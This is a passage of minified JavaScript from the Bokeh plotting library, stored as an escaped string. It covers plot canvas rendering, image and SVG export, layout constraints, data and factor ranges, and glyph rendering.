l=0,h=i;l<h.length;l++){var u=h[l];this.levels[u.model.level][u.model.id]=u}},t.prototype.get_renderer_views=function(){var e=this;return this.model.plot.renderers.map(function(t){return e.levels[t.level][t.id]})},t.prototype.build_tools=function(){var e=this,t=this.model.plot.toolbar.tools,i=c.build_views(this.tool_views,t,this.view_options());i.map(function(t){return e.ui_event_bus.register_tool(t)})},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.force_paint,function(){return t.repaint()});var e=this.model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.request_render()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.request_render()})}this.connect(this.model.plot.properties.renderers.change,function(){return t.build_levels()}),this.connect(this.model.plot.toolbar.properties.tools.change,function(){t.build_levels(),t.build_tools()}),this.connect(this.model.plot.change,function(){return t.request_render()}),this.connect(this.model.plot.reset,function(){return t.reset()})},t.prototype.set_initial_range=function(){var t=!0,e=this.frame,i=e.x_ranges,n=e.y_ranges,r={},o={};for(var s in i){var a=i[s],l=a.start,h=a.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}r[s]={start:l,end:h}}if(t)for(var u in n){var c=n[u],l=c.start,h=c.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}o[u]={start:l,end:h}}t?(this._initial_state_info.range={xrs:r,yrs:o},A.logger.debug(\\\"initial ranges set\\\")):A.logger.warn(\\\"could not set initial ranges\\\")},t.prototype.update_constraints=function(){for(var t in this.solver.suggest_value(this.frame._width,this.canvas._width.value),this.solver.suggest_value(this.frame._height,this.canvas._height.value),this.renderer_views){var e=this.renderer_views[t];x.isSizeableView(e)&&null!=e.model.panel&&x.update_panel_constraints(e)}this.solver.update_variables()},t.prototype._layout=function(t){void 0===t&&(t=!1),this.render(),t&&(this.model.plot.setv({inner_width:Math.round(this.frame._width.value),inner_height:Math.round(this.frame._height.value),layout_width:Math.round(this.canvas._width.value),layout_height:Math.round(this.canvas._height.value)},{no_change:!0}),this.paint())},t.prototype.has_finished=function(){if(!a.prototype.has_finished.call(this))return!1;for(var t in this.levels){var e=this.levels[t];for(var i in e){var n=e[i];if(!n.has_finished())return!1}}return!0},t.prototype.render=function(){var t=this.model._width.value,e=this.model._height.value;this.canvas_view.set_dims([t,e]),this.update_constraints(),!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&this.update_dataranges(),this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype._needs_layout=function(){for(var t in this.renderer_views){var e=this.renderer_views[t];if(x.isSizeableView(e)&&null!=e.model.panel&&x._view_sizes.get(e)!=e.get_size())return!0}return!1},t.prototype.repaint=function(){this._needs_layout()?this.parent.partial_layout():this.paint()},t.prototype.paint=function(){var t=this;if(!this.is_paused){A.logger.trace(\\\"PlotCanvas.render() for \\\"+this.model.id),this.canvas_view.prepare_canvas();var e=this.model.document;if(null!=e){var i=e.interactive_duration(),n=this.model.plot;0<=i&&i<n.lod_interval?setTimeout(function(){e.interactive_duration()>n.lod_timeout&&e.interactive_stop(n),t.request_render()},n.lod_timeout):e.interactive_stop(n)}for(var r in this.renderer_views){var o=this.renderer_views[r];if(null==this.range_update_timestamp||o instanceof T.GlyphRendererView&&o.set_data_timestamp>this.range_update_timestamp){this.update_dataranges();break}}this.model.frame.update_scales();var s=this.canvas_view.ctx,a=this.canvas.pixel_ratio;s.save(),s.scale(a,a),s.translate(.5,.5);var l=[this.frame._left.value,this.frame._top.value,this.frame._width.value,this.frame._height.value];if(this._map_hook(s,l),this._paint_empty(s,l),this.prepare_webgl(a,l),s.save(),this.visuals.outline_line.doit){this.visuals.outline_line.set_value(s);var h=l[0],u=l[1],c=l[2],_=l[3];h+c==this.canvas._width.value&&(c-=1),u+_==this.canvas._height.value&&(_-=1),s.strokeRect(h,u,c,_)}s.restore(),this._paint_levels(s,[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\"],l,!0),this.blit_webgl(a),this._paint_levels(s,[\\\"annotation\\\"],l,!0),this._paint_levels(s,[\\\"overlay\\\"],l,!1),null==this._initial_state_info.range&&this.set_initial_range(),s.restore(),this._has_finished||(this._has_finished=!0,this.notify_finished())}},t.prototype._paint_levels=function(t,e,i,n){t.save(),n&&(t.beginPath(),t.rect.apply(t,i),t.clip());for(var r={},o=0;o<this.model.plot.renderers.length;o++){var s=this.model.plot.renderers[o];r[s.id]=o}for(var a=function(t){return r[t.model.id]},l=0,h=e;l<h.length;l++)for(var u=h[l],c=b.sortBy(E.values(this.levels[u]),a),_=0,p=c;_<p.length;_++){var d=p[_];!n&&d.needs_clip&&(t.save(),t.beginPath(),t.rect.apply(t,i),t.clip()),d.render(),!n&&d.needs_clip&&t.restore()}t.restore()},t.prototype._map_hook=function(t,e){},t.prototype._paint_empty=function(t,e){var i=[0,0,this.canvas_view.model._width.value,this.canvas_view.model._height.value],n=i[0],r=i[1],o=i[2],s=i[3],a=e[0],l=e[1],h=e[2],u=e[3];t.clearRect(n,r,o,s),this.visuals.border_fill.doit&&(this.visuals.border_fill.set_value(t),t.fillRect(n,r,o,s),t.clearRect(a,l,h,u)),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(a,l,h,u))},t.prototype.save=function(t){switch(this.model.plot.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":var e=this.canvas_view.get_canvas_element();if(null!=e.msToBlob){var i=e.msToBlob();window.navigator.msSaveBlob(i,t)}else{var n=document.createElement(\\\"a\\\");n.href=e.toDataURL(\\\"image/png\\\"),n.download=t+\\\".png\\\",n.target=\\\"_blank\\\",n.dispatchEvent(new MouseEvent(\\\"click\\\"))}break;case\\\"svg\\\":var r=this.canvas_view._ctx,o=r.getSerializedSvg(!0),s=new Blob([o],{type:\\\"text/plain\\\"}),a=document.createElement(\\\"a\\\");a.download=t+\\\".svg\\\",a.innerHTML=\\\"Download svg\\\",a.href=window.URL.createObjectURL(s),a.onclick=function(t){return document.body.removeChild(t.target)},a.style.display=\\\"none\\\",document.body.appendChild(a),a.click()}},t}(a.DOMView);i.PlotCanvasView=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"AbovePanel\\\"},e}(p.LayoutCanvas);(i.AbovePanel=S).initClass();var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BelowPanel\\\"},e}(p.LayoutCanvas);(i.BelowPanel=M).initClass();var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"LeftPanel\\\"},e}(p.LayoutCanvas);(i.LeftPanel=O).initClass();var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"RightPanel\\\"},e}(p.LayoutCanvas);(i.RightPanel=z).initClass();var P=function(e){function t(t){return e.call(this,t)||this}return l.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PlotCanvas\\\",this.prototype.default_view=k,this.internal({plot:[m.Instance],toolbar:[m.Instance],canvas:[m.Instance],frame:[m.Instance]}),this.override({sizing_mode:\\\"stretch_both\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.canvas=new n.Canvas({map:null!=this.use_map&&this.use_map,use_hidpi:this.plot.hidpi,output_backend:this.plot.output_backend}),this.frame=new r.CartesianFrame({x_range:this.plot.x_range,extra_x_ranges:this.plot.extra_x_ranges,x_scale:this.plot.x_scale,y_range:this.plot.y_range,extra_y_ranges:this.plot.extra_y_ranges,y_scale:this.plot.y_scale}),this.above_panel=new S,this.below_panel=new M,this.left_panel=new O,this.right_panel=new z,A.logger.debug(\\\"PlotCanvas initialized\\\")},t.prototype._doc_attached=function(){this.canvas.attach_document(this.document),this.frame.attach_document(this.document),this.above_panel.attach_document(this.document),this.below_panel.attach_document(this.document),this.left_panel.attach_document(this.document),this.right_panel.attach_document(this.document),e.prototype._doc_attached.call(this),A.logger.debug(\\\"PlotCanvas attached to document\\\")},t.prototype.get_layoutable_children=function(){var r=[this.above_panel,this.below_panel,this.left_panel,this.right_panel,this.canvas,this.frame],t=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e];x.isSizeable(n)&&null!=n.panel&&r.push(n.panel)}};return t(this.plot.above),t(this.plot.below),t(this.plot.left),t(this.plot.right),r},t.prototype.get_constraints=function(){return e.prototype.get_constraints.call(this).concat(this._get_constant_constraints(),this._get_side_constraints())},t.prototype._get_constant_constraints=function(){return[f.EQ(this.canvas._left,0),f.EQ(this.canvas._top,0),f.GE(this.above_panel._top,[-1,this.canvas._top]),f.EQ(this.above_panel._bottom,[-1,this.frame._top]),f.EQ(this.above_panel._left,[-1,this.left_panel._right]),f.EQ(this.above_panel._right,[-1,this.right_panel._left]),f.EQ(this.below_panel._top,[-1,this.frame._bottom]),f.LE(this.below_panel._bottom,[-1,this.canvas._bottom]),f.EQ(this.below_panel._left,[-1,this.left_panel._right]),f.EQ(this.below_panel._right,[-1,this.right_panel._left]),f.EQ(this.left_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.left_panel._bottom,[-1,this.below_panel._top]),f.GE(this.left_panel._left,[-1,this.canvas._left]),f.EQ(this.left_panel._right,[-1,this.frame._left]),f.EQ(this.right_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.right_panel._bottom,[-1,this.below_panel._top]),f.EQ(this.right_panel._left,[-1,this.frame._right]),f.LE(this.right_panel._right,[-1,this.canvas._right]),f.EQ(this._top,[-1,this.above_panel._bottom]),f.EQ(this._left,[-1,this.left_panel._right]),f.EQ(this._height,[-1,this._bottom],[-1,this.canvas._bottom],this.below_panel._top),f.EQ(this._width,[-1,this._right],[-1,this.canvas._right],this.right_panel._left),f.GE(this._top,-this.plot.min_border_top),f.GE(this._left,-this.plot.min_border_left),f.GE(this._height,[-1,this._bottom],-this.plot.min_border_bottom),f.GE(this._width,[-1,this._right],-this.plot.min_border_right)]},t.prototype._get_side_constraints=function(){var t=function(t){return t.map(function(t){return t.panel})},e=d.vstack(this.above_panel,t(this.plot.above)),i=d.vstack(this.below_panel,b.reversed(t(this.plot.below))),n=d.hstack(this.left_panel,t(this.plot.left)),r=d.hstack(this.right_panel,b.reversed(t(this.plot.right)));return b.concat([e,i,n,r])},t}(o.LayoutDOM);(i.PlotCanvas=P).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DataRange\\\",this.define({names:[o.Array,[]],renderers:[o.Array,[]]})},t}(r.Range);(i.DataRange=s).initClass()},function(t,e,i){var n=t(391),r=t(179),h=t(185),_=t(14),o=t(15),u=t(24),c=t(21),s=function(i){function t(t){var e=i.call(this,t)||this;return e._plot_bounds={},e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataRange1d\\\",this.define({start:[o.Number],end:[o.Number],range_padding:[o.Number,.1],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],flipped:[o.Bool,!1],follow:[o.StartEnd],follow_interval:[o.Number],default_span:[o.Number,2]}),this.internal({scale_hint:[o.String,\\\"auto\\\"]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._initial_start=this.start,this._initial_end=this.end,this._initial_range_padding=this.range_padding,this._initial_range_padding_units=this.range_padding_units,this._initial_follow=this.follow,this._initial_follow_interval=this.follow_interval,this._initial_default_span=this.default_span},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.computed_renderers=function(){var e=this.names,t=this.renderers;if(0==t.length)for(var i=0,n=this.plots;i<n.length;i++){var r=n[i],o=r.renderers.filter(function(t){return t instanceof h.GlyphRenderer});t=t.concat(o)}0<e.length&&(t=t.filter(function(t){return c.includes(e,t.name)})),_.logger.debug(\\\"computed \\\"+t.length+\\\" renderers for DataRange1d \\\"+this.id);for(var s=0,a=t;s<a.length;s++){var l=a[s];_.logger.trace(\\\" - \\\"+l.type+\\\" \\\"+l.id)}return t},t.prototype._compute_plot_bounds=function(t,e){for(var i=u.empty(),n=0,r=t;n<r.length;n++){var o=r[n];null!=e[o.id]&&(i=u.union(i,e[o.id]))}return i},t.prototype.adjust_bounds_for_aspect=function(t,e){var i=u.empty(),n=t.maxX-t.minX;n<=0&&(n=1);var r=t.maxY-t.minY;r<=0&&(r=1);var o=.5*(t.maxX+t.minX),s=.5*(t.maxY+t.minY);return n<e*r?n=e*r:r=n/e,i.maxX=o+.5*n,i.minX=o-.5*n,i.maxY=s+.5*r,i.minY=s-.5*r,i},t.prototype._compute_min_max=function(t,e){var i,n,r,o,s=u.empty();for(var a in t){var l=t[a];s=u.union(s,l)}return 0==e?(i=[s.minX,s.maxX],r=i[0],o=i[1]):(n=[s.minY,s.maxY],r=n[0],o=n[1]),[r,o]},t.prototype._compute_range=function(t,e){var i,n,r,o=this.range_padding;if(\\\"log\\\"==this.scale_hint){(isNaN(t)||!isFinite(t)||t<=0)&&(t=isNaN(e)||!isFinite(e)||e<=0?.1:e/100,_.logger.warn(\\\"could not determine minimum data value for log axis, DataRange1d using value \\\"+t)),(isNaN(e)||!isFinite(e)||e<=0)&&(e=isNaN(t)||!isFinite(t)||t<=0?10:100*t,_.logger.warn(\\\"could not determine maximum data value for log axis, DataRange1d using value \\\"+e));var s=void 0,a=void 0;if(e==t)a=this.default_span+.001,s=Math.log(t)/Math.log(10);else{var l=void 0,h=void 0;\\\"percent\\\"==this.range_padding_units?(l=Math.log(t)/Math.log(10),h=Math.log(e)/Math.log(10),a=(h-l)*(1+o)):(l=Math.log(t-o)/Math.log(10),h=Math.log(e+o)/Math.log(10),a=h-l),s=(l+h)/2}n=Math.pow(10,s-a/2),r=Math.pow(10,s+a/2)}else{var a=void 0;a=e==t?this.default_span:\\\"percent\\\"==this.range_padding_units?(e-t)*(1+o):e-t+2*o;var s=(e+t)/2;n=s-a/2,r=s+a/2}var u=1;this.flipped&&(n=(i=[r,n])[0],r=i[1],u=-1);var c=this.follow_interval;return null!=c&&Math.abs(n-r)>c&&(\\\"start\\\"==this.follow?r=n+u*c:\\\"end\\\"==this.follow&&(n=r-u*c)),[n,r]},t.prototype.update=function(t,e,i,n){if(!this.have_updated_interactively){var r=this.computed_renderers(),o=this._compute_plot_bounds(r,t);null!=n&&(o=this.adjust_bounds_for_aspect(o,n)),this._plot_bounds[i]=o;var s=this._compute_min_max(this._plot_bounds,e),a=s[0],l=s[1],h=this._compute_range(a,l),u=h[0],c=h[1];null!=this._initial_start&&(\\\"log\\\"==this.scale_hint?0<this._initial_start&&(u=this._initial_start):u=this._initial_start),null!=this._initial_end&&(\\\"log\\\"==this.scale_hint?0<this._initial_end&&(c=this._initial_end):c=this._initial_end);var _=[this.start,this.end],p=_[0],d=_[1];if(u!=p||c!=d){var f={};u!=p&&(f.start=u),c!=d&&(f.end=c),this.setv(f)}\\\"auto\\\"==this.bounds&&this.setv({bounds:[u,c]},{silent:!0}),this.change.emit()}},t.prototype.reset=function(){this.have_updated_interactively=!1,this.setv({range_padding:this._initial_range_padding,range_padding_units:this._initial_range_padding_units,follow:this._initial_follow,follow_interval:this._initial_follow_interval,default_span:this._initial_default_span},{silent:!0}),this.change.emit()},t}(r.DataRange);(i.DataRange1d=s).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=t(22),b=t(21),h=t(44);function m(t,e,i){void 0===i&&(i=0);for(var n={},r=0;r<t.length;r++){var o=t[r];if(o in n)throw new Error(\\\"duplicate factor or subfactor: \\\"+o);n[o]={value:.5+r*(1+e)+i}}return[n,(t.length-1)*e]}function x(t,s,a,e){void 0===e&&(e=0);for(var l={},h={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],u=o[0],c=o[1];u in h||(h[u]=[],i.push(u)),h[u].push(c)}for(var _=e,p=0,d=function(t){var e=h[t].length,i=m(h[t],a,_),n=i[0],r=i[1];p+=r;var o=b.sum(h[t].map(function(t){return n[t].value}));l[t]={value:o/e,mapping:n},_+=e+s+r},f=0,v=i;f<v.length;f++){var u=v[f];d(u)}return[l,i,(i.length-1)*s+p]}function u(t,u,c,_,e){void 0===e&&(e=0);for(var p={},d={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1],l=o[2];s in d||(d[s]=[],i.push(s)),d[s].push([a,l])}for(var f=[],v=e,m=0,h=function(t){for(var e=d[t].length,i=x(d[t],c,_,v),n=i[0],r=i[1],o=i[2],s=0,a=r;s<a.length;s++){var l=a[s];f.push([t,l])}m+=o;var h=b.sum(d[t].map(function(t){var e=t[0];return n[e].value}));p[t]={value:h/e,mapping:n},v+=e+u+o},g=0,y=i;g<y.length;g++){var s=y[g];h(s)}return[p,i,f,(i.length-1)*u+m]}i.map_one_level=m,i.map_two_levels=x,i.map_three_levels=u;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FactorRange\\\",this.define({factors:[o.Array,[]],factor_padding:[o.Number,0],subgroup_padding:[o.Number,.8],group_padding:[o.Number,1.4],range_padding:[o.Number,0],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],start:[o.Number],end:[o.Number]}),this.internal({levels:[o.Number],mids:[o.Array],tops:[o.Array],tops_groups:[o.Array]})},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return this.start},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return this.end},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init(!0)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.factors.change,function(){return t.reset()}),this.connect(this.properties.factor_padding.change,function(){return t.reset()}),this.connect(this.properties.group_padding.change,function(){return t.reset()}),this.connect(this.properties.subgroup_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding_units.change,function(){return t.reset()})},t.prototype.reset=function(){this._init(!1),this.change.emit()},t.prototype._lookup=function(t){if(1==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])?e[t[0]].value:NaN}if(2==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])?e[t[0]].mapping[t[1]].value:NaN}if(3==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])&&e[t[0]].mapping[t[1]].mapping.hasOwnProperty(t[2])?e[t[0]].mapping[t[1]].mapping[t[2]].value:NaN}throw new Error(\\\"unreachable code\\\")},t.prototype.synthetic=function(t){if(h.isNumber(t))return t;if(h.isString(t))return this._lookup([t]);var e=0,i=t[t.length-1];return h.isNumber(i)&&(e=i,t=t.slice(0,-1)),this._lookup(t)+e},t.prototype.v_synthetic=function(t){var e=this;return s.map(t,function(t){return e.synthetic(t)})},t.prototype._init=function(t){var e,i,n,r,o;if(b.all(this.factors,h.isString))r=1,e=m(this.factors,this.factor_padding),this._mapping=e[0],o=e[1];else if(b.all(this.factors,function(t){return h.isArray(t)&&2==t.length&&h.isString(t[0])&&h.isString(t[1])}))r=2,i=x(this.factors,this.group_padding,this.factor_padding),this._mapping=i[0],this.tops=i[1],o=i[2];else{if(!b.all(this.factors,function(t){return h.isArray(t)&&3==t.length&&h.isString(t[0])&&h.isString(t[1])&&h.isString(t[2])}))throw new Error(\\\"???\\\");r=3,n=u(this.factors,this.group_padding,this.subgroup_padding,this.factor_padding),this._mapping=n[0],this.tops=n[1],this.mids=n[2],o=n[3]}var s=0,a=this.factors.length+o;if(\\\"percent\\\"==this.range_padding_units){var l=(a-s)*this.range_padding/2;s-=l,a+=l}else s-=this.range_padding,a+=this.range_padding;this.setv({start:s,end:a,levels:r},{silent:t}),\\\"auto\\\"==this.bounds&&this.setv({bounds:[s,a]},{silent:!0})},t}(r.Range);(i.FactorRange=a).initClass()},function(t,e,i){var n=t(179);i.DataRange=n.DataRange;var r=t(180);i.DataRange1d=r.DataRange1d;var o=t(181);i.FactorRange=o.FactorRange;var s=t(183);i.Range=s.Range;var a=t(184);i.Range1d=a.Range1d},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=function(i){function t(t){var e=i.call(this,t)||this;return e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Range\\\",this.define({callback:[o.Any],bounds:[o.Any],min_interval:[o.Any],max_interval:[o.Any]}),this.internal({plots:[o.Array,[]]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._emit_callback()})},t.prototype.reset=function(){this.change.emit()},t.prototype._emit_callback=function(){null!=this.callback&&(s.isFunction(this.callback)?this.callback(this):this.callback.execute(this,{}))},Object.defineProperty(t.prototype,\\\"is_reversed\\\",{get:function(){return this.start>this.end},enumerable:!0,configurable:!0}),t}(r.Model);(i.Range=a).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Range1d\\\",this.define({start:[o.Number,0],end:[o.Number,1],reset_start:[o.Number],reset_end:[o.Number]})},t.prototype._set_auto_bounds=function(){if(\\\"auto\\\"==this.bounds){var t=Math.min(this.reset_start,this.reset_end),e=Math.max(this.reset_start,this.reset_end);this.setv({bounds:[t,e]},{silent:!0})}},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.reset_start&&(this.reset_start=this.start),null==this.reset_end&&(this.reset_end=this.end),this._set_auto_bounds()},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.reset=function(){this._set_auto_bounds(),this.start!=this.reset_start||this.end!=this.reset_end?this.setv({start:this.reset_start,end:this.reset_end}):this.change.emit()},t}(r.Range);(i.Range1d=s).initClass()},function(t,e,i){var n=t(391),r=t(189),P=t(130),o=t(199),j=t(14),s=t(15),a=t(22),N=t(21),_=t(32),l=t(181),p={fill:{},line:{}},d={fill:{fill_alpha:.3,fill_color:\\\"grey\\\"},line:{line_alpha:.3,line_color:\\\"grey\\\"}},f={fill:{fill_alpha:.2},line:{}},h=function(c){function t(){return null!==c&&c.apply(this,arguments)||this}return n.__extends(t,c),t.prototype.initialize=function(t){c.prototype.initialize.call(this,t);var i=this.model.glyph,n=N.includes(i.mixins,\\\"fill\\\"),r=N.includes(i.mixins,\\\"line\\\"),o=_.clone(i.attributes);function e(t){var e=_.clone(o);return n&&_.extend(e,t.fill),r&&_.extend(e,t.line),new i.constructor(e)}delete o.id,this.glyph=this.build_glyph_view(i);var s=this.model.selection_glyph;null==s?s=e({fill:{},line:{}}):\\\"auto\\\"===s&&(s=e(p)),this.selection_glyph=this.build_glyph_view(s);var a=this.model.nonselection_glyph;null==a?a=e({fill:{},line:{}}):\\\"auto\\\"===a&&(a=e(f)),this.nonselection_glyph=this.build_glyph_view(a);var l=this.model.hover_glyph;null!=l&&(this.hover_glyph=this.build_glyph_view(l));var h=this.model.muted_glyph;null!=h&&(this.muted_glyph=this.build_glyph_view(h));var u=e(d);this.decimated_glyph=this.build_glyph_view(u),this.xscale=this.plot_view.frame.xscales[this.model.x_range_name],this.yscale=this.plot_view.frame.yscales[this.model.y_range_name],this.set_data(!1)},t.prototype.build_glyph_view=function(t){return new t.default_view({model:t,renderer:this,plot_view:this.plot_view,parent:this})},t.prototype.connect_signals=function(){var e=this;c.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.request_render()}),this.connect(this.model.glyph.change,function(){return e.set_data()}),this.connect(this.model.data_source.change,function(){return e.set_data()}),this.connect(this.model.data_source.streaming,function(){return e.set_data()}),this.connect(this.model.data_source.patching,function(t){return e.set_data(!0,t)}),this.connect(this.model.data_source.selected.change,function(){return e.request_render()}),this.connect(this.model.data_source._select,function(){return e.request_render()}),null!=this.hover_glyph&&this.connect(this.model.data_source.inspect,function(){return e.request_render()}),this.connect(this.model.properties.view.change,function(){return e.set_data()}),this.connect(this.model.view.change,function(){return e.set_data()});var t=this.plot_model.frame,i=t.x_ranges,n=t.y_ranges;for(var r in i){var o=i[r];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}for(var s in n){var o=n[s];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}this.connect(this.model.glyph.transformchange,function(){return e.set_data()})},t.prototype.have_selection_glyphs=function(){return null!=this.selection_glyph&&null!=this.nonselection_glyph},t.prototype.set_data=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=null);var i=Date.now(),n=this.model.data_source;this.all_indices=this.model.view.indices,this.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.glyph.set_data(n,this.all_indices,e),this.glyph.set_visuals(n),this.decimated_glyph.set_visuals(n),this.have_selection_glyphs()&&(this.selection_glyph.set_visuals(n),this.nonselection_glyph.set_visuals(n)),null!=this.hover_glyph&&this.hover_glyph.set_visuals(n),null!=this.muted_glyph&&this.muted_glyph.set_visuals(n);var r=this.plot_model.plot.lod_factor;this.decimated=[];for(var o=0,s=Math.floor(this.all_indices.length/r);o<s;o++)this.decimated.push(o*r);var a=Date.now()-i;j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): set_data finished in \\\"+a+\\\"ms\\\"),this.set_data_timestamp=Date.now(),t&&this.request_render()},t.prototype.render=function(){var r=this;if(this.model.visible){var t=Date.now(),e=this.glyph.glglyph;this.glyph.map_data();var i=Date.now()-t,n=Date.now(),o=this.glyph.mask_data(this.all_indices);o.length===this.all_indices.length&&(o=N.range(0,this.all_indices.length));var s=Date.now()-n,a=this.plot_view.canvas_view.ctx;a.save();var l,h=this.model.data_source.selected;l=!h||h.is_empty()?[]:this.glyph instanceof P.LineView&&h.selected_glyph===this.glyph.model?this.model.view.convert_indices_from_subset(o):h.indices;var u,c=this.model.data_source.inspected;u=c&&0!==c.length?c[\\\"0d\\\"].glyph?this.model.view.convert_indices_from_subset(o):0<c[\\\"1d\\\"].indices.length?c[\\\"1d\\\"].indices:function(){for(var t=[],e=0,i=Object.keys(c[\\\"2d\\\"].indices);e<i.length;e++){var n=i[e];t.push(parseInt(n))}return t}():[];var _,p,d,f=function(){for(var t=[],e=0,i=o;e<i.length;e++){var n=i[e];N.includes(u,r.all_indices[n])&&t.push(n)}return t}(),v=this.plot_model.plot.lod_threshold;null!=this.model.document&&0<this.model.document.interactive_duration()&&!e&&null!=v&&this.all_indices.length>v?(o=this.decimated,_=this.decimated_glyph,p=this.decimated_glyph):(_=this.model.muted&&null!=this.muted_glyph?this.muted_glyph:this.glyph,p=this.nonselection_glyph),d=this.selection_glyph,null!=this.hover_glyph&&f.length&&(o=N.difference(o,f));var m,g=null;if(l.length&&this.have_selection_glyphs()){for(var y=Date.now(),b={},x=0,w=l;x<w.length;x++){var k=w[x];b[k]=!0}var S=new Array,C=new Array;if(this.glyph instanceof P.LineView)for(var T=0,A=this.all_indices;T<A.length;T++){var k=A[T];null!=b[k]?S.push(k):C.push(k)}else for(var E=0,M=o;E<M.length;E++){var k=M[E];null!=b[this.all_indices[k]]?S.push(k):C.push(k)}g=Date.now()-y,m=Date.now(),p.render(a,C,this.glyph),d.render(a,S,this.glyph),null!=this.hover_glyph&&(this.glyph instanceof P.LineView?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):this.hover_glyph.render(a,f,this.glyph))}else m=Date.now(),this.glyph instanceof P.LineView?this.hover_glyph&&f.length?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):_.render(a,this.all_indices,this.glyph):(_.render(a,o,this.glyph),this.hover_glyph&&f.length&&this.hover_glyph.render(a,f,this.glyph));var O=Date.now()-m;this.last_dtrender=O;var z=Date.now()-t;return j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): render finished in \\\"+z+\\\"ms\\\"),j.logger.trace(\\\" - map_data finished in       : \\\"+i+\\\"ms\\\"),j.logger.trace(\\\" - mask_data finished in      : \\\"+s+\\\"ms\\\"),null!=g&&j.logger.trace(\\\" - selection mask finished in : \\\"+g+\\\"ms\\\"),j.logger.trace(\\\" - glyph renders finished in  : \\\"+O+\\\"ms\\\"),a.restore()}},t.prototype.draw_legend=function(t,e,i,n,r,o,s,a){null==a&&(a=this.model.get_reference_point(o,s)),this.glyph.draw_legend_for_index(t,{x0:e,x1:i,y0:n,y1:r},a)},t.prototype.hit_test=function(t){if(!this.model.visible)return null;var e=this.glyph.hit_test(t);return null==e?null:this.model.view.convert_selection_from_subset(e)},t}(r.RendererView);i.GlyphRendererView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GlyphRenderer\\\",this.prototype.default_view=h,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],data_source:[s.Instance],view:[s.Instance,function(){return new 